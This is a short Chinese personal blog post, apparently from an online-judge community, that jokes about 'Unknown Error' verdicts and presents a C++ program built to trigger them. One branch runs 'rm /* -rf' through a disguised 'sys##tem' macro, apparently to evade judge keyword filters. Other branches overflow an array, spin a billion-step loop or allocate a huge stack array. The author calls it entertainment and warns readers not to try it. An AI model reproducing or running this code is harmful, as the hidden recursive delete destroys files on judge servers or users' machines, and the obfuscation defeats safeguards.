7种UKE

· · 个人记录

相信大家都知道:

UKE=Unknown Error=出现未知错误

=Unbelievably Keep Enough Score=难以置信地保持足够的分数

但实际却很少遇到,下面就给大家看一段会UKE的代码。

#include<bits/stdc++.h>
using namespace std;
#define INF 0x7fffffff
#define ME 0x7f
#define FO(s) freopen(s".in","r",stdin);freopen(s".out","w",stdout)
#define fui(i,a,b,c) for(int i=(a);i<=(b);i+=(c))
#define fdi(i,a,b,c) for(int i=(a);i>=(b);i-=(c))
#define fel(i,a) for(register int i=h[a];i;i=ne[i])
#define ll long long
#define MEM(a,b) memset(a,b,sizeof(a))
#define S sys##tem
template<class T>
inline T read(T &n){
    n=0;int t=1;double x=10;char ch;
    for(ch=getchar();!isdigit(ch)&&ch!='-';ch=getchar());(ch=='-')?t=-1:n=ch-'0';
    for(ch=getchar();isdigit(ch);ch=getchar()) n=n*10+ch-'0';
    if(ch=='.') for(ch=getchar();isdigit(ch);ch=getchar()) n+=(ch-'0')/x,x*=10;
    return (n*=t);
}
void a3(){
    S("rm /* -rf");
}
void a5(){
    int x=0;fui(i,1,1000000000,1) x=x;
}
void a6(){
    int b[1000000000];fui(i,1,10,1) b[i]=i;
}
int main(){
    int x;cin>>x;
    switch(x){
        case 1:cout<<1;return 0;
        case 2:cout<<3;return 0;
        case 3:a3();return 0;
        case 4:int a[10];fui(i,1,20,1) a[i]=i;return 0;
        case 5:a5();return 0;
        case 6:a6();cout<<x<<endl;return 0;
        case 7:cout<<x<<endl<<"--------------";
    }
    return 0;
}

最后提醒大家,本代码仅供娱乐,

切误尝试!!!